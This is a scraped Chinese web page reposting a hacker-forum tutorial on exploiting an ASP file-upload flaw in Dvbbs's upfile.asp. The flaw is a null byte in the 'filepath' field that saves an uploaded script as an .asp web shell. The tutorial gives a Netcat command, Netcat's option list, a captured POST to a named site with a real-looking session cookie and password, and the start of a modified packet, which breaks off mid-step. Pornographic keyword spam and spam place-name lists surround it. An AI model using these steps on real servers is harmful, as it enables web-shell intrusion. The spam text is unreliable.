国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本
首頁
|
新聞
|
娛樂
|
游戲
|
科普
|
文學(xué)
|
編程
|
系統(tǒng)
|
數(shù)據(jù)庫
|
建站
|
學(xué)院
|
產(chǎn)品
|
網(wǎng)管
|
維修
|
辦公
|
熱點
首頁
>
編程
>
ASP
> 正文
asp 之上傳漏洞終結(jié)篇
2020-07-27 13:11:17
字體:
大
中
小
來源:
轉(zhuǎn)載
供稿:網(wǎng)友
收藏關(guān)于上傳漏洞的文章,最近一直遇到這個麻煩,
作者:szjwwwww
出自:黑鷹基地論壇
http://www.3800cc.com
一、寫在前面
***這個上傳漏洞利用的原理只是針對form格式上傳的asp和php腳本***
NC(Netcat)
用于提交 數(shù)據(jù)包
DOS界面下運行:
NC -vv www.***.com 80<1.txt
-vv: 回顯
80: www端口
1.txt: 就是你要發(fā)送的數(shù)據(jù)包
(更多使用方法請查看本區(qū)的帖子)
WSE(WSockExpert)
對本機端口的監(jiān)視,抓取IE提交的數(shù)據(jù)包
(不會用的就自己到網(wǎng)上搜資料N多)
二、漏洞原理
下面例子假設(shè)的前提
www主機: www.***.com;
bbs路徑 : /bbs/
漏洞源于對動網(wǎng)上傳文件的研究,建議有一定編程經(jīng)驗的
看看Dvbbs的upfile.asp文件,沒有必要全部看懂
upfile是通過生成一個form表上傳,
用到的變量:
filepath 默認值uploadface 屬性hiden
act 默認值upload 屬性hiden
file1 就是你要傳的那個文件
關(guān)鍵是 filepath 這個變量!
默認情況下我們的文件上傳到www.***.com/bbs/uploadface/
文件是用你的上傳時間命名的,就是upfile里的這一句
FileName=FormPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&FileExt
-------------------------------------------------------------------------
我們知道計算機里面的數(shù)據(jù)是一"/0"為標致的用過C語言的都知道
char data[]="bbs"
這個data數(shù)組長度是4: b b s /0
如果我們構(gòu)造filepath如下,會怎么樣呢?
filepath="/newmm.asp/0"
我們在2004.09.24.08.24傳的文件就會發(fā)生變化
沒有改時:
http://www.***.com/bbs/uploadface/200409240824.jpg
用我們構(gòu)造的filepath時:
http://www.***.com/newmm.asp/0/200409240824.jpg
這樣當服務(wù)器接收filepath數(shù)據(jù)時,檢測到newmm.asp后面的/0
就理解為filepath的數(shù)據(jù)就結(jié)束了
這樣我們上傳的文件,比如c:/1.asp
就保存成: http://www.***.com/newmm.asp
三、后期補充
漏洞公布以后很多網(wǎng)站做了相應(yīng)的處理,但是對于filepath的過濾和處理都不行
有很多網(wǎng)站只是加了N個hiden屬性的變量對付網(wǎng)上公布的upfile.exe就是那個
上傳漏洞利用工具或者filepath變量利用工具(老兵的)...但是最基本的沒改啊。。
而且很對網(wǎng)站的插件里有類似的漏洞,我要說的不要依賴哪些專門的工具
自己改WSE抓到的包里的filepath變量,然后在用NC提交。。。
就算他加N個hiden變量也于事無補。
當然,如果對filepath做了很嚴格的過濾的話我們的這些理論就將宣告終結(jié)
就是我們的新理論誕生的時候!
四、漏洞列表
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5369
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5530
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5531
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5693
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5731
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5746
監(jiān)聽外部主機
NC [-options] hostname port[s] [ports] ...
監(jiān)聽本地主機
NC -l -p port [options] [hostname] [port]
options:
-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]
詳細實例:
---------------------------------------------------------------------------------
一、WSE抓包結(jié)果(存到1.txt里):
POST /bbs/upPhoto/upfile.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://www.xin126.com/bbs/upPhoto/upload.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d423a138d0278
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)
Host: www.xin126.com
Content-Length: 1969
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDACCCCDCS=NJHCPHPALBCANKOBECHKJANF; isCome=1; GAMVANCOOKIES=1; regTime=2004%2D9%2D24+3%3A39%3A37; username=szjwwwww; pass=5211314; dl=0; userID=62; ltStyle=0; loginTry=1; userPass=eb03f6c72908fd84
-----------------------------7d423a138d0278
Content-Disposition: form-data; name="filepath"
../medias/myPhoto/
-----------------------------7d423a138d0278
... ...
上傳
-----------------------------7d423a138d0278--
---------------------------------------------------------------------------------
二、UltraEdit打開1.txt改數(shù)據(jù):
......
-----------------------------7d423a138d0278
Content-Disposition: form-data; name="filepath"
/newmm.asp 主站蜘蛛池模板:
奉化市
|
内江市
|
茶陵县
|
镶黄旗
|
福海县
|
资溪县
|
新巴尔虎右旗
|
巴东县
|
横峰县
|
全州县
|
高清
|
太和县
|
武汉市
|
南京市
|
东乌珠穆沁旗
|
溆浦县
|
宝应县
|
睢宁县
|
宁陕县
|
成安县
|
泸定县
|
壤塘县
|
丰县
|
固镇县
|
雷波县
|
阳高县
|
北海市
|
邵阳县
|
武功县
|
金坛市
|
平果县
|
太康县
|
龙陵县
|
巨野县
|
宁明县
|
石阡县
|
荔波县
|
和田市
|
永和县
|
石狮市
|
黑水县
|